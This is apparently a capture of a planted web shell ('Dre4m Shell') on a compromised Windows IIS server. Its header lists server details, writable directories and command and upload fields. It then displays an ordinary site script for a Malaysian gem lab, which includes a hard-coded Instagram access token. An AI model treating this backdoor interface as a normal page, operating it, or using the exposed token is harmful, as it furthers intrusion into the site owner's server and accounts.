Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.117.103.185
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/asiageml/asiagemlab.com/wwwroot/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/asiageml/asiagemlab.com/wwwroot/js/main_new.js
/*
 * Title:   Diamond - Business & Corporate - HTML Template
 * Author:  QTC Media
 */
//https://script.google.com/macros/s/AKfycbzivnMnWYyYWU49xoyniQtzGWwzf_qAj1dRYPZStH54BxQseSKT/exec
/* --------------------------------------------------------
 [Table of contents]

 1. backToTop
 2. toggleMainMenu
 3. revolutionSlider
 4. counterNumber
 5. mixitupImages
 6. owlCarousel
 7. hoverdirMaster
 8. mobileMenu
 9. childMobileMenu
 10. animatedCountBar
 11. subContentQuestion
 12. setMargin
 13. intMap
 14. filterPrice
 15. slickImages
 16. qtyProduct
 17. raTing
 18. countDown
 19. formValidation

 [End table of contents]
 ----------------------------------------------------------------------- */

"use strict"; // Start of use strict

function backToTop() {
    if ($('.diamond-backtotop').length) {
        var scrollTrigger = 700,
            backTop = function () {
                var scrollTop = $(window).scrollTop();
                if (scrollTop > scrollTrigger) {
                    $('.diamond-backtotop').addClass('show-backtotop');
                } else {
                    $('.diamond-backtotop').removeClass('show-backtotop');
                }
            };
        $(window).on('scroll', function () {
            backTop();
        });
    }
}

function toggleMainMenu() {
    if ($('.bars-desktop').length) {
        $('.bars-desktop').on('click', function () {
            $(this).toggleClass('open');
            $('.header .main-menu .primary-menu').toggle(500);
            return false;
        });
    }
}

function revolutionSlider() {
    if ($('#slider_v1').length) {
        jQuery("#slider_v1").revolution({
            sliderType: "standard",
            sliderLayout: "auto",
            delay: 6000,
            navigation: {
                onHoverStop: "on",
                arrows: {
                    style: "",
                    enable: true,
                    hide_onmobile: true,
                    hide_onleave: true,
                    hide_delay: 200,
                    hide_delay_mobile: 1200,
                    hide_under: 751,
                    hide_over: 9999,
                    tmp: '',
                    left: {
                        h_align: "left",
                        v_align: "center",
                        h_offset: 40,
                        v_offset: 0
                    },
                    right: {
                        h_align: "right",
                        v_align: "center",
                        h_offset: 40,
                        v_offset: 0
                    }
                },
                bullets: {
                    enable: true,
                    hide_onmobile: true,
                    hide_under: 1100,
                    style: "hermes",
                    hide_onleave: false,
                    direction: "horizontal",
                    container: "layergrid",
                    h_align: "center",
                    v_align: "bottom",
                    h_offset: 0,
                    v_offset: 28,
                    space: 14,
                    tmp: ''
                }
            },
            responsiveLevels: [1920, 1203, 975, 751, 463],
            gridwidth: [1200, 980],
            gridheight: [639, 539, 469, 339, 339],
            minHeight: 200
        });
    }

    if ($('#slider_v2').length) {
        jQuery("#slider_v2").revolution({
            sliderType: "standard",
            sliderLayout: "auto",
            delay: 6000,
            navigation: {
                onHoverStop: "on",
                arrows: {
                    style: "",
                    enable: true,
                    hide_onmobile: true,
                    hide_onleave: true,
                    hide_delay: 200,
                    hide_delay_mobile: 1200,
                    hide_under: 751,
                    hide_over: 9999,
                    tmp: '',
                    left: {
                        h_align: "left",
                        v_align: "center",
                        h_offset: 40,
                        v_offset: 0
                    },
                    right: {
                        h_align: "right",
                        v_align: "center",
                        h_offset: 40,
                        v_offset: 0
                    }
                }
            },
            responsiveLevels: [1920, 1203, 975, 751, 463],
            gridwidth: [1200, 980],
            gridheight: [780, 680, 580, 480, 380],
            minHeight: 250
        });
    }

    if ($('#slider_v3').length) {
        jQuery("#slider_v3").revolution({
            sliderType: "standard",
            sliderLayout: "auto",
            delay: 6000,
            navigation: {
                onHoverStop: "on"
            },
            responsiveLevels: [1920, 1203, 975, 751, 463],
            gridwidth: [1200, 980],
            gridheight: [530, 530, 430, 430, 530]
        });
    }

    if ($('#slider_v4').length) {
        jQuery("#slider_v4").revolution({
            sliderType: "standard",
            sliderLayout: "auto",
            delay: 600000,
            navigation: {
                onHoverStop: "on"
            },
            responsiveLevels: [1920, 1203, 975, 751, 463],
            gridwidth: [1200, 980],
            gridheight: [700, 600, 500, 400, 500]
        });
    }

    if ($('#slider_v5').length) {
        jQuery("#slider_v5").revolution({
            sliderType: "standard",
            sliderLayout: "auto",
            delay: 6000,
            navigation: {
                onHoverStop: "on"
            },
            responsiveLevels: [1920, 1203, 975, 751, 463],
            gridwidth: [1200, 980],
            gridheight: [950, 850, 750, 550, 650]
        });
    }
}

function counterNumber() {
    if ($('.counter').length) {
        $('.counter').counterUp({
            delay: 10,
            time: 1000
        });
    }
}

function mixitupImages() {
    if ($('.mixitup-our-project').length) {
        $('#mix_wrapper').mixItUp();
    }
}

function owlCarousel() {
    if ($('.loop-one').length) {
        $('.loop-one').owlCarousel({
            center: false,
            items: 1,
            nav: false,
            loop: true,
            margin: 0,
            autoplay: true
        });
    }

    // if ($('.loop-two').length) {
    //     $('.loop-two').owlCarousel({
    //         center: false,
    //         items: 3,
    //         nav: false,
    //         loop: false,
    //         margin: 30,
    //         autoplay: false,
    //         responsive: {
    //             0: {
    //                 items: 1
    //             },
    //             480: {
    //                 items: 2
    //             },
    //             992: {
    //                 items: 3
    //             }
    //         }
    //     });
    // }

    if ($('.loop-three').length) {
        $('.loop-three').owlCarousel({
            center: false,
            items: 3,
            nav: false,
            loop: true,
            margin: 0,
            autoplay: true,
            responsive: {
                0: {
                    items: 1
                },
                480: {
                    items: 3
                },
                992: {
                    items: 2
                },
                1219: {
                    items: 3
                }
            }
        });
    }

    if ($('.loop-four').length) {
        $('.loop-four').owlCarousel({
            center: false,
            items: 2,
            nav: false,
            loop: true,
            margin: 30,
            autoplay: true,
            responsive: {
                0: {
                    items: 1
                },
                992: {
                    items: 2
                }
            }
        });
    }

    if ($('.loop-five').length) {
        $('.loop-five').owlCarousel({
            center: false,
            items: 1,
            nav: false,
            loop: true,
            margin: 0,
            autoplay: true
        });
    }

    if ($('.loop-six').length) {
        $('.loop-six').owlCarousel({
            center: false,
            items: 3,
            nav: false,
            loop: true,
            margin: 30,
            autoplay: true,
            responsive: {
                0: {
                    items: 1
                },
                480: {
                    items: 2
                },
                768: {
                    items: 3
                }
            }
        });
    }
}

function hoverdirMaster() {
    if ($('#da-thumbs').length) {
        $('#da-thumbs .diamond-box-img-full').hoverdir();
    }
}

function mobileMenu() {
    if ($('.bars-mobile').length) {
        $('.bars-mobile').on('click', function () {
            $('.mobile-menu').slideToggle(300, 'linear');
            $('.bars-mobile').toggleClass('open');
            return false;
        });
    }
}

function childMobileMenu() {
    if ($('.nav-holder').length) {
        $('.nav-holder li.has-submenu').children('a').append(function () {
            return '<button class="dropdown-expander"><span class="fa fa-chevron-down"></span></button>';
        });

        $('.nav-holder .dropdown-expander').on('click', function () {
            if ($(this).parent().parent().hasClass('uk-active')) {
                $(this).parent().parent().children('.submenu').slideToggle();
                $(this).find('span').toggleClass('fa-chevron-down fa-chevron-up');
                $(this).parent('a').parent('li').toggleClass('uk-active');
            }
            else {
                $('.nav-holder li.has-submenu .submenu').slideUp();
                $('.nav-holder li.has-submenu').removeClass('uk-active');
                $('.nav-holder li.has-submenu .dropdown-expander').find('span').removeClass('fa-chevron-up');
                $('.nav-holder li.has-submenu .dropdown-expander').find('span').addClass('fa-chevron-down');
                $(this).parent().parent().addClass('uk-active');
                $(this).find('span').removeClass('fa-chevron-down');
                $(this).find('span').addClass('fa-chevron-up');
                $(this).parent().parent().children('.submenu').slideDown();
            }
            return false;
        });
    }
}

function animatedCountBar() {
    if ($('.animated-count-bar').length) {
        $('.animated-count-bar').waypoint(function () {
            $('.bars').each(function () {
                $(this).find('.count-bar').animate({
                    width: $(this).attr('data-percent')
                }, 1500);

                $(this).find('.count').animate({
                    left: $(this).attr('data-percent')
                }, 1500);
            });
        },
            {
                offset: '35%'
            });
    }
}

function subContentQuestion() {
    if ($('.holder-question').length) {
        if ($('.holder-question li').hasClass('uk-active')) {
            $(this).children('.sub-content').slideDown();
            $(this).children('a').children('span').attr('class', 'fa fa-minus');
        }
        $('.holder-question .has-title a').on('click', function () {
            if ($(this).parent().hasClass('uk-active')) {
                $(this).siblings('.sub-content').slideToggle();
                $(this).children('span').toggleClass('fa-plus fa-minus');
                $(this).parent('li').toggleClass('uk-active');
            }
            else {
                $('.holder-question .has-title .sub-content').slideUp();
                $('.holder-question .has-title').removeClass('uk-active');
                $('.holder-question .has-title a').find('span').removeClass('fa-minus');
                $('.holder-question .has-title a').find('span').addClass('fa-plus');
                $(this).parent().addClass('uk-active');
                $(this).find('span').removeClass('fa-plus');
                $(this).find('span').addClass('fa-minus');
                $(this).siblings('.sub-content').slideDown();
            }
            return false;
        });
    }
}

function setMargin() {
    if ($('#rsp_set_margin').length) {
        var w_window = $(window).width();
        var w_container = $('#rsp_set_margin').siblings('.recent-project').children('.uk-container').width();
        var w_margin = (w_window - w_container) / 2;
        var w_margin_dots = w_margin + 130;
        $('#rsp_set_margin .rsp-set-margin').css('margin-left', w_margin + 'px');
        $('#rsp_set_margin .owl-dots').css('margin-left', w_margin_dots + 'px');

        $(window).resize(function () {
            setMargin();
        });
    }
}

function initMap() {
    if ($('.google-map').length) {
        var locations = [
            ['QTC Media <br> Diamond - Business & Corporate - HTML Template', 40.712784, -74.005941, 1]
        ];

        var map = new google.maps.Map(document.getElementById('gmap_contact'), {
            zoom: 16,
            center: new google.maps.LatLng(40.714700, -74.005901),
            scrollwheel: false,
            mapTypeId: google.maps.MapTypeId.ROADMAP,
            styles: [
                {
                    featureType: 'all',
                    stylers: [
                        { saturation: -80 }
                    ]
                }, {
                    featureType: 'road.arterial',
                    elementType: 'geometry',
                    stylers: [
                        { hue: '#00ffee' },
                        { saturation: 50 }
                    ]
                }, {
                    featureType: 'poi.business',
                    elementType: 'labels',
                    stylers: [
                        { visibility: 'off' }
                    ]
                }
            ]
        });

        var infowindow = new google.maps.InfoWindow();

        var marker, i;

        for (i = 0; i < locations.length; i++) {
            var iconPath = new google.maps.MarkerImage('images/map-maker.png');
            marker = new google.maps.Marker({
                position: new google.maps.LatLng(locations[i][1], locations[i][2]),
                map: map,
                icon: iconPath
            });

            google.maps.event.addListener(marker, 'click', (function (marker, i) {
                return function () {
                    infowindow.setContent(locations[i][0]);
                    infowindow.open(map, marker);
                }
            })(marker, i));
        }
    };
}

function filterPrice() {
    if ($('#price_filter').length) {
        $("#price_filter").slider({
            range: true,
            min: 100,
            max: 5000,
            values: [0, 2000],
            slide: function (event, ui) {
                $("#max").val("$" + ui.values[1]);
            }
        });
        $("#min").val("$" + $("#price_filter").slider("values", 0));
        $("#max").val("$" + $("#price_filter").slider("values", 1));
    }
}

function slickImages() {
    if ($('.slick-images-product').length) {
        if ($('.slick-big-images').length) {
            // $('.slick-big-images').slick({
            //     dots: false,
            //     variableWidth: false,
            //     arrows: false,
            //     fade: true,
            //     autoplay: true,
            //     slidesToShow: 1,
            //     slidesToScroll: 1,
            //     asNavFor: '.slick-thumbnail-images'
            // });
        }

        if ($('.slick-thumbnail-images').length) {
            $('.slick-thumbnail-images').slick({
                dots: false,
                variableWidth: false,
                arrows: false,
                autoplay: true,
                slidesToShow: 3,
                slidesToScroll: 1,
                asNavFor: '.slick-big-images',
                focusOnSelect: true,
                responsive: [
                    {
                        breakpoint: 480,
                        settings: {
                            slidesToShow: 2,
                            slidesToScroll: 1
                        }
                    }
                ]
            });
        }
    }
}

function qtyProduct() {
    if ($('.box-qty').length) {
        $('.box-qty .qty-plus').on('click', function () {
            var $button = $(this);
            var intValue = $button.parent().find('.qty-number').val();
            $button.parent().find('.qty-number').val(parseInt(intValue, 10) + 1);
            return false;
        });

        $('.box-qty .qty-minus').on('click', function () {
            var $button = $(this);
            var intValue = $button.parent().find('.qty-number').val();
            if (parseInt(intValue, 10) > 1) {
                $button.parent().find('.qty-number').val(parseInt(intValue, 10) - 1);
            }
            return false;
        });

        $('.qty-number').on('blur', function () {
            var $button = $(this);
            if ($button.parent().find('.qty-number').val() === "" || parseInt($button.parent().find('.qty-number').val(), 10) === 0) {
                $button.parent().find('.qty-number').val("1");
            }
        });
        $('.qty-number').on('keypress', function (evt) {
            var charCode = (evt.which) ? evt.which : event.keyCode;
            if (charCode > 31 && (charCode < 48 || charCode > 57))
                return false;
            return true;
        });
    }
}

function raTing() {
    if ($('#rateYo').length) {
        $("#rateYo").rateYo({
            rating: 3,
            halfStar: true,
            ratedFill: "#f5e246"
        });
    }
}

function countDown() {
    if ($('.count-down').length) {
        $('.count-down').countdown({
            date: '2018-05-25',
            offset: -8
        });
    }
}

function formValidation() {
    if ($('#contact_form').length) {
        $('#contact_form').validate({
            rules: {
                name: {
                    required: true
                },
                email: {
                    required: true
                },
                message: {
                    required: true
                }
            },
            submitHandler: function (form) {
                $.ajax({
                    type: "POST",
                    url: "https://script.google.com/macros/s/AKfycbzd8eVSWM7ZmCoWYSD0oqs8L-D_L-nKvC12p_KLNqjxreLge52n/exec",
                    data: $(form).serialize(),
                    success: function () {
                        $('.response').css('display', 'block');
                        form.reset();
                    },
                    error: function (err) {
                        console.log(err);
                    }
                });
                return false; // required to block normal submit since you used ajax
            }
        });
    }
}

// instance of fuction while Document ready event
jQuery(document).on('ready', function () {
    (function ($) {
        toggleMainMenu();
        revolutionSlider();
        counterNumber();
        mixitupImages();
        owlCarousel();
        hoverdirMaster();
        mobileMenu();
        childMobileMenu();
        animatedCountBar();
        subContentQuestion();
        filterPrice();
        slickImages();
        qtyProduct();
        raTing();
        countDown();
        formValidation();
    })(jQuery);
});

// instance of fuction while Window Scroll event
jQuery(window).on('scroll', function () {
    (function ($) {
        backToTop();
    })(jQuery);
});

// instance of fuction while Window Load event
jQuery(window).on('load', function () {
    (function ($) {
        setMargin();
    })(jQuery);
});


$(document).ready(function () {
    $('#slider1').layerSlider({
        sliderVersion: '6.0.0',
        type: 'fullwidth',
        responsiveUnder: 0,
        layersContainer: 1200,
        maxRatio: 1,
        parallaxScrollReverse: true,
        hideUnder: 0,
        hideOver: 100000,
        skin: 'outline',
        showBarTimer: true,
        thumbnailNavigation: 'disabled',
        allowRestartOnResize: true,
        skinsPath: 'skins/',
        height: 650
    });

    $('#slider').layerSlider({
        sliderVersion: '6.5.0b1',
        type: 'fullsize',
		parallaxScrollReverse: true,
        allowFullscreen: false,
        maxRatio: 1,
        parallaxCenterLayers: 'top',
        hideUnder: 567,
        skin: 'outline',
        showBarTimer: true,
        allowRestartOnResize: true,
        skinsPath: 'skins/'
    });
});
//-------------------------------------

$(window).on('load', function () {
    handlePreloader();
});

function handlePreloader() {
    if ($('.preloader').length) {
        $('.preloader').delay(500).fadeOut(500);
        $('body').removeClass('page-load');
    }
}

var courseCarouselData = [
    {
        title: 'Crystal & Quartz',
        des: '• Build a knowledge base about Crystal & Quartz </br></br>• Identify Crystal & Quartz characteristics',
        duration: '6 hours',
        individual: {
            student: '1 student',
            price: 'RM 2500',
        },
        group: {
            student: '3-5 students',
            price: 'RM 3000',
        }
    },
    {
        title: 'Ammolite',
        des: '• Build a knowledge base about Ammolite </br></br>• Identify Ammolite characteristics ',
        duration: '3 hours',
        individual: {
            student: '1 student',
            price: 'RM 1800',
        },
        group: {
            student: '3-5 students',
            price: 'RM 4500',
        }
    },
    {
        title: 'Junior Geomology',
        des: '• Build a knowledge base about Geomology </br></br>• Experienced to touch real minerals',
        duration: '2.5 hours',
        individual: {
            student: '-',
            price: '-',
        },
        group: {
            student: '10 students',
            price: 'RM 200/H',
        }
    },
    {
        title: 'Diamond / Colour Diamond',
        des: '• Build a knowledge base about Diamond </br></br>• Understand how Diamond are mined, fashioned and brought to the marketplace </br></br>• Identify Diamond characteristics, simulants and treatments </br></br>• Recognize how quality, rarity and color affect value </br></br>• Use basic gemological tools to identify Diamond.',
        duration: '6 hours',
        individual: {
            student: '1 student',
            price: 'RM 5000',
        },
        group: {
            student: '3-5 students',
            price: 'RM 7000',
        }
    },
    {
        title: 'Corundum',
        des: '• Build a knowledge base about Corundum </br></br>• Understand how gems are mined, fashioned and brought to the marketplace </br></br>• Identify Corundum characteristics, simulants and treatments </br></br> • Recognize how quality, rarity and color affect value Use basic gemological tools to identify Corundum. ',
        duration: '6 hours',
        individual: {
            student: '1 student',
            price: 'RM 5000',
        },
        group: {
            student: '3-5 students',
            price: 'RM 7000',
        }
    },
    {
        title: 'Jadeite',
        des: '• Build a knowledge base about Jadeite </br></br> • Identify Jadeite characteristics, simulants & treatments </br></br> • Use basic gemological tools to identify Jadiete. ',
        duration: '6 hours',
        individual: {
            student: '1 student',
            price: 'RM 3800',
        },
        group: {
            student: '3-5 students',
            price: 'RM 5600',
        }
    },
]

courseCarouselData.map(function (res, index) {
    $("#agl-courses-carousel").append($('<li> <div class="box"> <div class="agl-course-number">Courses ' + Number(index + 1) + '</div> <div class="diamond-box-img-full diamond-box-hv-scale"> <img src="./images/gems/' + Number(index + 1) + '.jpg" alt=""> </div> <div class="box-content"> <a href="#"> <h3 style="text-align: center" class="diamond-hv-color-green">' + res.title + '</h3> </a> <h5 class="diamond-bd-color-green">' + res.des + ' </h5> <div class="agl-course-card-icon-stack" style="display:inline-block; font-size: 20px"> <i class="fa fa-user"></i> <i class="fa fa-dollar"></i> <i class="fa fa-clock-o"></i> </div> <div class="agl-course-details"> <div class="course-time">' + res.duration + '</div> <div class="course-section"> <div class="bridge one"> <span class="student">' + res.individual.student + '</span> <span class="price">' + res.individual.price + '</span> </div> <div class="bridge"> <span class="student">' + res.group.student + '</span> <span class="price">' + res.group.price + '</span> </div> </div> </div> </div> </div> </li>'))
})

$('#agl-courses-carousel').owlCarousel({
    center: false,
    items: 3,
    nav: true,
    loop: false,
    margin: 30,
    autoplay: false,
    dots: true,
    dotsContainer: "#nav1-dots",
    responsive: {
        0: {
            items: 1
        },
        480: {
            items: 2
        },
        992: {
            items: 3
        }
    }
});

renderItems();

function renderItems() {
    $("#agl-header").append($('<div class="header"> <div class="top-bar"> <div class="top-bar-right-absolute"></div> <div class="uk-container uk-container-center"> <div class="uk-grid"> <div class="uk-width-medium-1-2 uk-width-small-1-1 uk-width-1-1"> <ul id="agl-header-socialmedia" class="top-bar-social"> <li><a href="https://www.facebook.com/agl.gemlab.3" class="diamond-hv-color-green"><span class="fa fa-facebook"></span></a></li> <li><a href="https://www.instagram.com/gemlabagl/" class="diamond-hv-color-green"><span class="fa fa-instagram"></span></a> </li> </ul> </div> <div class="uk-width-medium-1-2 uk-width-small-1-1 uk-width-1-1"> <ul class="top-bar-contact-info diamond-text-right"> <li> <a href="mailto:info@asiagemlab.com"> <span class="fa fa-envelope-o"></span> <p>info@asiagemlab.com</p> </a> </li> <li> <a href="https://wa.me/60162169448 " target="_blank"> <span class="fa fa-phone"></span> <p><strong>CALL US</strong> (+60)16-216 9448 </p> </a> </li> </ul> </div> </div> </div> </div> <div class="uk-container uk-container-center"> <div class="logo diamond-flex-box diamond-flex-box-ai-center"> <a href="index.php"><img style="width:150px; height:75px" src="./img/logo.png" alt=""></a> </div> <div class="main-menu diamond-flex-box diamond-flex-box-jc-end"> <ul id="agl-desktop-menu" class="primary-menu"> <li class="uk-parent" data-uk-dropdown="{remaintime:&#39;0&#39;}"> <a href="index.php#home">HOME</a> </li> <li class="uk-parent" data-uk-dropdown="{remaintime:&#39;0&#39;}" aria-haspopup="true" aria-expanded="false"> <a href="#services">SERVICES</a> <div class="uk-dropdown uk-dropdown-navbar uk-dropdown-bottom" aria-hidden="true" tabindex="" style="top: 96px; left: 0px;"> <ul> <li class="diamond-hv-child-color-green"><a href="report.asp"><span class="fa fa-hand-o-left"></span>REPORT</a> </li> <!--li class="diamond-hv-child-color-green"><a href="courses.html"><span class="fa fa-hand-o-left"></span>COURSES</a></li--> </ul> </div> </li> <li class="uk-parent" data-uk-dropdown="{remaintime:&#39;0&#39;}"> <a href="#about">ABOUT AGL</a> <div class="uk-dropdown uk-dropdown-navbar uk-dropdown-bottom"> <ul> <li class="diamond-hv-child-color-green"><a href="news.html"><span class="fa fa-hand-o-left"></span>EVENT/NEWS</a></li> <li class="diamond-hv-child-color-green"><a href="contact.html"><span class="fa fa-hand-o-left"></span>CONTACT US</a></li> </ul> </div> </li> <li class="uk-parent" data-uk-dropdown="{remaintime:&#39;0&#39;}"> <a href="#faq">FAQ</a> </li> </ul> <div class="bars-desktop"> <span></span> <span></span> <span></span> <span></span> </div> <div class="bars-mobile open"> <span></span> <span></span> <span></span> <span></span> </div> </div> </div> </div> <div id="agl-mobile-menu" class="mobile-menu"> <nav class="nav-holder"> <ul> <li class="diamond-hv-child-color-green"> <a href="#home">HOME</a> </li> <li class="has-submenu diamond-hv-child-color-green"> <a href="#services">SERVICES<button class="dropdown-expander"><span class="fa fa-chevron-down"></span></button></a> <ul class="submenu"> <li class="diamond-hv-child-color-green"><a href="report.asp">REPORT</a></li> <!--li class="diamond-hv-child-color-green"><!--a href="courses.html">COURSES</a> </li--> </ul> </li> <li class="has-submenu diamond-hv-child-color-green"> <a href="#about">ABOUT AGL<button class="dropdown-expander"><span class="fa fa-chevron-down"></span></button></a> <ul class="submenu"> <li class="diamond-hv-child-color-green"><a href="news.html">EVENT/NEWS</a> </li> <li class="diamond-hv-child-color-green"><a href="contact.html">CONTACT US</a></li> </ul> </li> <li class="diamond-hv-child-color-green"> <a href="#faq">FAQ</a> </li> </ul> </nav> </div>'))
    $("#agl-header-sub").append($('<div class="header"> <div class="top-bar"> <div class="top-bar-right-absolute"></div> <div class="uk-container uk-container-center"> <div class="uk-grid"> <div class="uk-width-medium-1-2 uk-width-small-1-1 uk-width-1-1"> <ul id="agl-header-socialmedia" class="top-bar-social"> <li><a href="https://www.facebook.com/agl.gemlab.3" class="diamond-hv-color-green"><span class="fa fa-facebook"></span></a></li> <li><a href="https://www.instagram.com/gemlabagl/" class="diamond-hv-color-green"><span class="fa fa-instagram"></span></a> </li> </ul> </div> <div class="uk-width-medium-1-2 uk-width-small-1-1 uk-width-1-1"> <ul class="top-bar-contact-info diamond-text-right"> <li> <a href="mailto:info@asiagemlab.com"> <span class="fa fa-envelope-o"></span> <p>info@asiagemlab.com</p> </a> </li> <li> <a href="https://wa.me/60162169448 " target="_blank"> <span class="fa fa-phone"></span> <p><strong>CALL US</strong> (+60)16-216 9448</p> </a> </li> </ul> </div> </div> </div> </div> <div class="uk-container uk-container-center"> <div class="logo diamond-flex-box diamond-flex-box-ai-center"> <a href="index.php"><img style="width:150px; height:75px" src="./img/logo.png" alt=""></a> </div> </div> </div>'))
    $("#agl-footer").append($('<div class="footer"> <div class="uk-container uk-container-center"> <div class="uk-grid"> <div class="uk-width-medium-3-6 uk-width-small-1-1 uk-width-1-1"> <div class="box"> <div class="box-title"> <h3>Asia Gemological Laboratory Sdn Bhd <span style="font-size:12px">(201601036096 (1207037-U))</span></h3> </div> <div class="box-content"> <p><strong style="font-weight: 600;">Kuala Lumpur Headquarter</strong>&nbsp;</p> <p>No.168, Jalan Maarof, <br />Bukit Bandaraya Bangsar, 59100, <br />Kuala Lumpur, Malaysia&nbsp;<br /><strong style="font-weight: 600;">Phone: </strong>+603-2201 3777&nbsp; &nbsp;</p></br><p><strong style="font-weight: 600;">Hong Kong Office</strong>&nbsp;</p> <p>Suite C, Level 7, World Trust Tower, <br />50 Stanley Street, Central, Hong Kong.&nbsp;<br /><strong style="font-weight: 600;">Phone: </strong>+852-838 8842&nbsp; &nbsp;</p> <ul class="list-social"> <li> <a href="https://www.facebook.com/agl.gemlab.3" class="diamond-hv-child-color-green"><span class="fa fa-facebook"></span></a> </li> <li> <a href="https://www.instagram.com/gemlabagl/" class="diamond-hv-child-color-green"><span class="fa fa-instagram"></span></a> </li> </ul> </div> </div> </div> <div class="uk-width-medium-3-6 uk-width-small-1-1 uk-width-1-1"> <div class="box"> <div class="box-title"> <h3>CONTACT US</h3> </div> <div class="box-content"> <ul class="list-contact"> <li><a href="mailto:info@asiagemlab.com"><span class="fa fa-envelope diamond-color-green"></span></br><b style="font-weight: 600;">Email: </b></br><b style="font-weight: 600;">MY: </b>info@asiagemlab.com<b style="font-weight: 600;"></br>HK: </b>info@agl.com.hk</a> </li> <li><a><span class="fa fa-clock-o diamond-color-green"></span></br><b style="font-weight: 600;"> Opening Hours:</b></br> 10.30am - 6.30pm (Monday - Friday) <b>Call for appointment </b></a></li> </ul> </div> </div> </div> </div> </div> <div class="copyright"> <div class="uk-container uk-container-center"> <p class="uk-float-left">Copyright © 2019 Asia Gemological Laboratory(1207037U) All Right Reserved. </p> </div> <div class="backtotop diamond-hv-child-color-green" data-uk-smooth-scroll=""> <h5>GO TOP</h5> <img src="./img/icon.png" alt=""> </div> </div> </div>'))
}

var acc = document.getElementsByClassName("accordion");
var i;

for (i = 0; i < acc.length; i++) {
    acc[i].addEventListener("click", function () {
        this.classList.toggle("active");
        var panel = this.nextElementSibling;
        if (panel.style.display === "block") {
            panel.style.display = "none";
        } else {
            panel.style.display = "block";
        }
    });
}

// courses------------------------------------------------------------------

var listingFeed = new Instafeed({
    get: 'user',
    userId: 7723751385,
    accessToken: '7723751385.f21d5ec.9ed10ffe08fc484b9179bb6b82ff88d3',
    target: 'property-listing',
    limit: 9,
    resolution: 'standard_resolution',
    mock: true,
    success: function (get) {
        get.data.map(function (res) {
            // var testString = ` *Title: ~My House Renovation *Description: ~Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu. In enim justo, rhoncus ut, imperdiet a, venenatis vitae,`;
            // var newsInfo = delegateAGLNews(testString);

            if (res.caption === null) return;


            var newsInfo = delegateAGLNews(res.caption.text);
            if (newsInfo !== null) {
                $("#agl-news-carousel").append($('<li> <div class="box"> <div class="diamond-box-img-full diamond-box-hv-scale"> <img src="' + res.images.standard_resolution.url + '" alt=""> <div class="box-overlay diamond-flex-box diamond-flex-box-ai-center diamond-flex-box-jc-center"> <div class="diamond-button"> <a target="_blank" href="' + res.link + '" class="diamond-button-green diamond-button-bd-transparent-green diamond-color-white diamond-hv-color-green">READ MORE</a> </div> </div> </div> <div class="box-content"> <a href="#"> <h3 class="diamond-hv-color-green">' + newsInfo.title + '</h3> </a> <h5 class="diamond-bd-color-green">' + newsInfo.description + '</h5></div> </div> </li>'))
            }
        })
    },
    after: function (data) {
        $('.loop-two').owlCarousel({
            center: false,
            items: 3,
            loop: false,
            margin: 30,
            autoplay: false,
            responsive: {
                0: {
                    items: 1
                },
                480: {
                    items: 2
                },
                992: {
                    items: 3
                }
            }
        });
    }
});

listingFeed.run();

function delegateAGLNews(infos) {
    //##FORMAT##
    // $Title: #My House Renovation
    // $Description: #dumyyyyyyyy sacknbskcbasdc asdkcnasdkcsdc akdcnaskjc asdkcjnasdkjc adskcnasdkjcna adncksjncasd

    //return null for any string errors
    if (infos.split("*").length < 2) { return null; }
    var sortedJson = {};
    infos.split("*").map(function (res) {
        var title = res.split(":")[0].toLowerCase().split(' ')[0];
        var des = res.split(":")[1] !== undefined ? res.split(":")[1].split('~')[1] : null;

        if (
            title === "title" ||
            title === "description"
        ) {
            sortedJson[title] = des;
        }
    })


    var MAX_DES_LENGHT = 150;
    if (sortedJson.description.length > MAX_DES_LENGHT) {
        var shortenString = sortedJson.description.substring(0, MAX_DES_LENGHT);
        sortedJson['description'] = shortenString.concat(' ...');
    }

    if (
        sortedJson.title &&
        sortedJson.description
    ) {
        return sortedJson;
    }
    return null;
}

var faqDetails = [
    { question: "I would like to gain more knowledge about the gemstone I have in my possession; Can AGL help me with this and how?", answer: "Yes, here at AGL, we provide multiple forms of authentication from verbal consultation (synthetic/natural/imitation) to full certification, including country of origin for any specific gemstone either loose or in jewelry.", },
    { question: "I would like to get a price valuation for my jewelry. Is this a part of the services AGL provide?", answer: "AGL does not provide any price valuation for any gemstone and jewelry as we are a laboratory. This means that we only provide identification, grading and certification to the highest degree.", },
    { question: "I would like to buy and sell my gemstone and/or jewelry. Does AGL provide these services?", answer: "No, AGL only provide authentication from verbal consultation (synthetic/natural/imitation) to full certification, including country of origin for any specific gemstone either loose or in jewelry.", },
    { question: "How long does the certification process take?", answer: "Here at AGL, we strive to complete our tasks at an efficient rate without compromising on quality of work. For single gemstone projects, a customer may be able to get his or her gemstone back with full certification on the same day, but we recommend calling or emailing in beforehand to set an appointment as on average, it takes the AGL gemology team up to 3 working days per customer project (depending on number or gemstones/jewelry volume) to complete due to the amount of customers we have.", },
    { question: "Will any of the steps involved in certification harm or damage my gemstone or jewelry?", answer: "The simple answer would be no. This is because AGL do not require any destructive methods to gain the information we need for certification. For the most part, we do not even remove the gemstones from jewelry sent to us unless absolutely necessary. In the case that we need to remove the gemstone from jewelry, the owner will be notified beforehand and we would require confirmation before moving forward.", },
    { question: "I am not permitted to view the certification process. How do I know that my precious gemstones or jewelry are safe at all times?", answer: "The lab that our gemologist team operates here at AGL is under CCTV surveillance at all times. Furthermore, upon agreeing to our services, the owner will be presented with a receipt stating the type of product received.", },
]
renderFAQ(faqDetails);


function renderFAQ(data) {
    var faqCallBack = new Promise(function (resolve) {
        data.map(function (res) {
            $("#faq-row").append($("<div><button class='accordion'>" + res.question + "</button> <div class='panel'> <p>" + res.answer + "</p> </div> </div> "))
        })
        resolve();
    });

    faqCallBack.then(function () {
        renderAccordion();
    });
}

function renderAccordion() {
    var acc = document.getElementsByClassName("accordion");
    var i;

